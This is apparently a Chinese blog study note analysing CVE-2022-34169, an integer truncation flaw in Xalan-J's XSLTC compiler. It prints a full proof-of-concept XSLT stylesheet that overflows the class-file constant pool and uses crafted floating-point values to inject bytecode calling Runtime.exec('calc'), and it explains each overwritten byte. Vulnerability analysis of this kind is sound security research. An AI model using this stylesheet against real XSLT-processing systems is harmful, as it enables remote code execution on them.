文章目录

  • 前言
  • demo
    • xslt
    • 代码
    • xalan.xslt.Process.main
  • 一句话简述原理
  • 溢出PoC分析
    • *前置知识
      • class文件结构
      • 常量池、常量池计数器、常量
      • Integer和Utf-8&String
      • access_flags
      • attribute_info
      • Code
    • 0x0807 01(06)
    • 0x0006 0000 0000 0002
    • 0x01 0047 0048 0001 02
    • 0x00000005 AA BB CC DD
    • 0x0001 008F 001E 0003
    • 0x00 00000004 AB CD EF
    • 0x004D 0000002E 00FF
    • 0x00 00000022 | 00 00 00
    • 构建的exec字节码
    • 0x3C 00 B1 0000 0000 02
    • 0x0007dd94 1234 5678
  • 构建关键点
  • 修复建议

前言

本文是学习thanat0s师傅文章的笔记: Xalan-J XSLT整数截断漏洞利用构造(CVE-2022-34169) (360.cn)

class文件结构参考Chapter 4. The class File Format

构建的class文件结构参考ClassFile----.svg

demo

xslt

代码

指定参数

package Test;import org.apache.xalan.xslt.Process;public class Main {public static void main(String[] args){String source = "src//main//java//Test//source.xml";String demo = "src//main//java//Test//demo.xslt";Process.main(new String[]{"-XSLTC", "-IN", source, "-XSL", demo, "-SECURE", "-XX", "-XT"});}
}

xslt样式表文件

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template><XXX>A</XXX></xsl:template>
</xsl:stylesheet>

待转换的xml

<?xml version="1.0"?>
<t>Hello</t>

结果

代码运行生成了class文件,通过这个class模板将xml转换成html

xalan.xslt.Process.main

Process.main(new String[]{"-XSLTC", "-IN", source, "-XSL", demo, "-SECURE", "-XX", "-XT"});

参数IN代表样式表路径

参数XSL代表xml源文件

输入参数完后,判断非空

然后根据xslt创建java的模板文件

最后调用newTransformer()触发bytecodes加载,过程同7u21

一句话简述原理

class文件常量池最大只有0xFFFF(65535),当写入常量数量n>0xFFFF时:正常写入常量池是n & 0xFFFF个,被截断,后续多余的将会溢出、覆盖正常class文件的内容,首当其冲的是access_flag参数

例如,如果写入65536个常量,那么常量池表就为空(0x10000 & 0xFFFF = 0);如果写入65537个常量,此时常量表为1…以此类推,后面溢出的常量就覆盖了class文件

溢出PoC分析

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template><!-- 根据规范,方法引用methodRef会写入常量池 --><!-- 防止被覆盖,关键函数尽量写朝前 --><xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'calc')" xmlns:Runtime="java.lang.Runtime"/><!-- 指定构造的恶意类的父类super_class --><!-- 被加载类必须设置super_class父类为AbstarctTranslet类,同7u21 --><xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/><!-- init构造器的字节码头 --><AAA select="&lt;init&gt;"/><!-- 数据填充 --><xsl:value-of select='ceiling(133829)'/><xsl:value-of select='ceiling(133830)'/><xsl:value-of select='ceiling(133831)'/><atA ... aut='auu' /><!-- 指定构建的class文件的类,并通过tokenize触发构造器 --><!-- 利用类的懒加载机制,选取一个不会用到的类,避免类冲突 --><xsl:value-of select="es:tokenize(.)" xmlns:es="com.sun.org.apache.xalan.internal.lib.ExsltStrings"/><!-- 以上内容请勿修改 --><!-- 数据填充 --><xsl:value-of select='ceiling(133833)'/><adh ... afM='afN' /><xsl:value-of select='ceiling(133834)'/><afP ... t1112="t1113" /><xsl:value-of select='ceiling(133840)'/><afP t1050="t1051" /><!-- 0x0006000000000002 --><xsl:value-of select='ceiling(0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008344026969402015)'/><!-- 0x0100470048000102 --><xsl:value-of select='ceiling(0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007417508170351345)'/><!-- 0x00000005AABBCCDD --><xsl:value-of select='ceiling(0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012025197585)'/><!-- 0x0001008f001e0003 --><xsl:value-of select='ceiling(0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000139370562526182)'/><!-- 0x0000000004ABCDEF --><xsl:value-of select='ceiling(0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000387190546)'/><!-- 0x004d0000002e00FF --><xsl:value-of select='ceiling(0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003226357096027093)'/><!-- 0x0000000022000000 --><xsl:value-of select='ceiling(0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000281827566)'/><!-- 0x3C2AB70089000000 --><xsl:value-of select='ceiling(0.0000000000000000007241075121194573)'/><!-- 0x3CB8007713007900 --><xsl:value-of select='ceiling(0.00000000000000033309212233568665)'/><!-- 0x3CB6007d57000000 --><xsl:value-of select='ceiling(0.00000000000000030533787351623304)'/><!-- 0x3C00B10000000002 --><xsl:value-of select='ceiling(0.00000000000000000011310536823805084)'/><!-- 0x0007dd9412345678 --><xsl:value-of select='ceiling(0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001093838053241093)'/><!-- 数据填充 -->                  <apf ... ass='ast' /><asu ... deH='deI' /><dxd ... gjO='gjP' /><dhQ ... dtL='dtM' /><gmX ... gyS='gyT' /><gyV ... gCi='gCj' /><gCk ... joV='joW' /><jse ... jDZ='jEa' /><jHr ... muc='mud' /><x1 ... t902="t903"/><xsl:value-of select='ceiling(133835)'/><xsl:value-of select='ceiling(133836)'/><xsl:value-of select='ceiling(133837)'/></xsl:template>
</xsl:stylesheet>

这里利用了填充溢出+构造小数来覆盖,覆盖是一个非常巧妙的方式

*前置知识

class文件结构

常量池、常量池计数器、常量

class文件的常量池计数器是常量池大小+1,起始编号为#1

常量池编号最大是两个无符号int,即0xFFFF

每种常量的结构一般为特定的编号+具体值

Integer和Utf-8&String

不同类型常量占常量池单元的大小也不一样,Integer占一个而String占两个:大于32767的int会直接写入常量池、一个字符串包含Utf8和String两个常量

access_flags

access_flags存储类、方法的修饰符

通过and运算获取修饰符

attribute_info

在method_info方法信息中:attributes是方法属性表

每个属性分成三部分:属性名称在常量池的索引、属性读取的字节长度(范围)、属性值

Code

  1. 操作码栈大小
  2. 局部变量表大小
  3. 操作码长度
  4. 操作码
  5. 异常表长度
  6. 异常表
  7. 内部属性表长度
  8. 内部属性表

0x0807 01(06)

这串数据来源于截断位于#1793-#1794的字符串获得,通过构造将常量池计数器设定为1793+1,常量池中使用占一格的Integer和占两格的字符串填充,使得原本未溢出的位于#1793-#1794的字符串的后半部分CONSTANT_String覆盖access_flags

0x\项目 覆盖目标 数据来源 源数据含义 覆盖后含义
08 CONSTANT_String的tag 无意义的标识符
07 ┗类access_flags public
01 ┗原#1793-#1794字符串截断溢出 ┗指向Utf8#1793
(06) ┗this_class 后续溢出的一个浮点数 CONSTANT_Double的tag ┗指向Class_info#262

可以看到字符串t1051被截断,后半部分0x080701覆盖了access_flags**(此处010Editor模板的常量池是数组索引因此下标是从0开始的)**

这里要求access_flags高位大于0x06,后面会提到

ExsltString这个类放在了#262的位置**(此处010Editor模板的常量池是数组索引因此下标是从0开始的)**,把当前类指向它

对应原文class结构分析:

0x0006 0000 0000 0002

这里利用了计算机双精度浮点数表示原理,构造特殊含义的浮点数覆盖

0x\项目 覆盖目标 数据来源 源数据含义 覆盖后含义
0006 super_class 指向Class_info#6
0000 interfaces_count 无接口
0000 fields_count 无局部变量
0002 methods_count ┗后续溢出的一个浮点数 ┗浮点数 该类有2个方法

这里给恶意类设置2个方法是为了清理后续出现的脏字符

对应原文class结构分析:

0x01 0047 0048 0001 02

0x\项目 覆盖目标 数据来源 源数据含义 覆盖后含义
(06) CONSTANT_Double的tag abstract
01 ┗方法1access_flags public
0047 方法1name_index 指向Utf8#71
0048 方法1descriptor_index 指向方法描述符#72
0001 方法1attributes_count 该方法有1个属性
02 ┏(见下表) ┗溢出的第二个浮点数 ┗浮点数 ┏(见下表)

这里attributes_count设置为1是为了后续使用,另外方法起名也可以随意,因为其实用不到该方法

对应原文class结构分析:

0x00000005 AA BB CC DD

0x\项目 覆盖目标 数据来源 源数据含义 覆盖后含义
(06) ┗方法1attribute_name_index CONSTANT_Double的tag ┗指向Utf8#518
00000005 方法1attribute_length 属性值长度5
AA
BB
CC
DD ┃(见下表) ┗溢出的第三个浮点数 ┗浮点数 ┃(见下表)

#518是一个填充的一般Utf8数据

这里填充数据很巧妙:

合法的属性名只有以下几种:

名称不合法,转换成通用类型读取,目的是多读1个u1,把下一个溢出的double的tag吃了,然后直接控制下一个方法2的access_flags便于插入恶意代码

0x0001 008F 001E 0003

下面是重头戏:开始从字节码层面构造第二个方法以达到exec

0x\项目 覆盖目标 数据来源 源数据含义 覆盖后含义
(06) ┗方法1info[attribute_length] CONSTANT_Double的tag ┗通用类数据
0001 方法2access_flags public
008F 方法2name_index 指向Utf8#143
001E 方法2descriptor_index 指向Utf8#30
0003 方法2attributes_count ┗溢出的第四个浮点数 ┗浮点数 属性有3个

#143是构造器的名称<init>

#30是构造器的描述符

这里方法设置三个属性,也是很巧妙

0x00 00000004 AB CD EF

0x\项目 覆盖目标 数据来源 源数据含义 覆盖后含义
(06) CONSTANT_Double的tag
00 ┗方法2属性1attribute_name_index ┗Utf8#1536
00000004 方法2属性1attribute_length 属性值长度4,向后吃4个脏字符
AB
CD
EF ┃(见下表) ┗溢出的第五个浮点数 ┗浮点数 ┃(见下表)

#1536是一个填充的Utf8数据

access_flags,或者说常量池要大于0x0600的原因就是在于这里用Double的flag作为高位索引,如果常量池小于0x0600,那么常量池就提前结束了,无法索引,这里高位0x06我们不能控制,因此只能控制常量池大小

对应原文class结构分析:

0x004D 0000002E 00FF

0x\项目 覆盖目标 数据来源 源数据含义 覆盖后含义
(06) ┗方法2属性1info[attribute_length] CONSTANT_Double的tag ┗通用类数据,吃字符
004D 方法2属性2attribute_name_index Utf8#77
0000002E 方法2属性2attribute_length Code所占大小
00FF 方法2属性2Code的max_stack ┗溢出的第六个浮点数 ┗浮点数 操作码栈大小

#77是合法属性名Code,表明这是代码部分

对应原文class结构分析:

0x00 00000022 | 00 00 00

0x\项目 覆盖目标 数据来源 源数据含义 覆盖后含义
(06) CONSTANT_Double的tag
00 ┗方法2属性2Code的max_locals ┗局部变量表大小0x600
00000022 方法2属性2Code的code_length 操作码长度
00 00 00… ┏方法2属性2Code的code[code_length] ┗溢出的第七个浮点数 ┗浮点数 操作码NOP

构建的exec字节码

接下来用double插入exec的字节码,原文讲的已经很细致了,这里插入了一些nop用来对齐

0x3C2AB70089000000
0x3CB8007713007900
0x3CB6007d57000000

对应原文class结构分析:

0x3C 00 B1 0000 0000 02

0x\项目 覆盖目标 数据来源 源数据含义 覆盖后含义
(06) CONSTANT_Double的tag 常量6压入操作数栈
3C 弹出保存到局部变量表第2个位置
00 NOP
B1 ┗方法2属性2Code的code[code_length] return
0000 方法2属性2Code的exception_table_length 无异常捕获
0000 方法2属性2Code的attributes_count 无内部属性
02 ┗溢出的第十一个浮点数 ┗浮点数

0x0007dd94 1234 5678

0x\项目 覆盖目标 数据来源 源数据含义 覆盖后含义
(06) ┗方法2属性3attribute_name_index Constant_Double的tag ┗Utf8#1536
0007dd94* 方法2属性3attribute_length 属性值长度X,向后吃X个脏字符
12
34
56
78 ┣方法2属性3info[attribute_length] ┗溢出的第十二个浮点数 ┗浮点数 ┣通用类数据,吃字符
脏数据

对应原文class结构分析:

保留最后的attributes,是类的局部变量表,attribute_count是类局部变量表的大小

构建关键点

  • 常量池的数据填充:Integer占1个单元、String占两个单元
  • 触发原理同7u21,恶意类的父类是AbstractTranslet
  • 避免类冲突,当前恶意类构建一个不会用到的类ExsltStrings
  • 引用父类和当前类需要提前调用类方法加载
  • 需要提供构造器描述符String: <init>以便恶意类在实例化时触发exec
  • 确保上述关键常量不会被覆盖,要求存储地址尽可能低
  • 常量池溢出部分至少在0x0600以后,因为access_flags覆盖用的是0x0600,它会间接控制常量池大小,因此需要0x0600+0x10000*n个常量
  • 使用String溢出、小数构造字节码,需要加入空数据对齐、清理脏数据
  • 构造两个方法,method[0]用来清理脏字符06,method[1]是无参构造器在里面exec
  • 确保各类name_index等字符串索引指向合法的Utf8
  • 确保常量池各项位置正确
  • 最后清除脏数据只保留末尾10个字节

修复建议


欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/126986529
版权声明:本文为原创,转载时须注明出处及本声明

『Java CVE』CVE-2022-34169: Xalan-J XSLT整数截断漏洞PoC结构再浅析相关推荐

  1. 『Java安全』XStream 1.4-1.4.61.4.10反序列化漏洞CVE-2013-7285复现与浅析

    文章目录 前言 漏洞简介 影响版本 PoC interface(官方PoC) sorted-set tree-map 漏洞复现 代码审计 | 原理分析 interface 缺点 sorted-set和 ...

  2. 2017-2018-2 165X 『Java程序设计』课程 助教总结

    2017-2018-2 165X 『Java程序设计』课程 助教总结 本学期完成的助教工作主要包括: 编写300道左右测试题,用于蓝墨云课下测试: 发布博客三篇:<2017-2018-2 165 ...

  3. 20172311『Java程序设计』课程 结对编程练习_四则运算第一周阶段总结

    20172311『Java程序设计』课程 结对编程练习_四则运算第一周阶段总结 结对伙伴 学号 :20172307 姓名 :黄宇瑭 伙伴第一周博客地址: http://www.cnblogs.com/ ...

  4. java安装 1723_2017-2018-2 1723 『Java程序设计』课程 结对编程练习-四则运算-准备阶段...

    2017-2018-2 1723 『Java程序设计』课程 结对编程练习-四则运算-准备阶段 在一个人孤身奋斗了将近半个学期以后,终于迎来的我们的第一次团队协作共同编码,也就是,我们的第一个结对编程练 ...

  5. 『Java安全』Tomcat内存马_动态注册Listener内存马

    『Java安全』反序列化- 文章目录 前言 Tomcat Servlet API Listener介绍 ServletRequestListener介绍 ServletRequestListener调 ...

  6. [日推荐]『Java学习者』爱学习的程序猿看过来~

    2019独角兽企业重金招聘Python工程师标准>>> 福利时间--今天给程序员大大们推荐一款你们一定会喜欢的小程序,里面有干货哦 Java学习者 **简介:**java学习,Jav ...

  7. 20172302『Java程序设计』课程 结对编程练习_四则运算第二周阶段总结

    一.结对对象 姓名:周亚杰 学号:20172302 担任角色:驾驶员(周亚杰) 伙伴第二周博客地址 二.本周内容 (一)继续编写上周未完成代码 1.本周继续编写代码,使代码支持分数类计算 2.相关过程 ...

  8. 『Java安全』反序列化-浅析Hessian反序列化POP链

    文章目录 前言 pom.xml Spring联动Hessian使用 Server端 服务接口 服务实现类 SpringApp Client端 手动序列化和反序列化 能序列化的类 序列化没有实现Seri ...

  9. 『Java安全』Tomcat内存马_动态注册Servlet内存马

    文章目录 Servlet调用流程分析 1. StandardContext.startInternal注册servlet 2. StandardContextValue.invoke获取wrapper ...

最新文章

  1. Vue中插入HTML代码的方法
  2. 数据结构与算法 / 栈(stack)
  3. nexbox本地网络调试工具下载_「下载」 Windows 10 WinDBG 分析转储日志和蓝屏日志排查错误原因...
  4. Java笔记学习2.2.2 常量与变量 - 常量
  5. [转载]ArcGIS SERVER 9.3如何清除REST缓存
  6. vm12下载安装centos7教程
  7. i510300h和i78750h参数对比哪个好
  8. 智能家居(3)智能交互的竞品分析
  9. 每日一书丨这本书献给所有铸就开源世界的人们
  10. web测试与APP测试方法总结
  11. iphone13 设备类型 DeviceType
  12. 网球目标检测——基于Python-OpenCV
  13. IAP跟成就系统的思路
  14. C++ Reference: Standard C++ Library reference: C Library: cstdio: fopen
  15. 读书笔记 《Python灰帽子-黑客与逆向工程师的Python编程之道》
  16. Open vSwitch
  17. 普渡大学统计与计算机科学,普渡大学本校 Purdue University-Main Campus
  18. 灵性图书馆:好书推荐-《灵魂出体》
  19. 疾风之刃的最新服务器,疾风之刃6月16日更新 数据互通服务器一览
  20. xlrd读取excel数据三个步骤

热门文章

  1. LSC LensShading Correct
  2. RK平台 USB转RS485
  3. 目标检测:速度和准确性比较(Fater R-CNN,R-FCN,SSD,FPN,RetinaNet和YOLOv3)
  4. 如何处理电脑长时间未操作出现的假死?
  5. 手机上如何将图片压缩到最小
  6. Python 以练促学之 List 篇
  7. 苹果手机上下载的文件在哪里?
  8. JPEG and MPEG
  9. win7 下搭建基于jdk1.7 android开发环境
  10. 亚马逊测评到底是一个什么样的项目流程?测评新风口,深度解析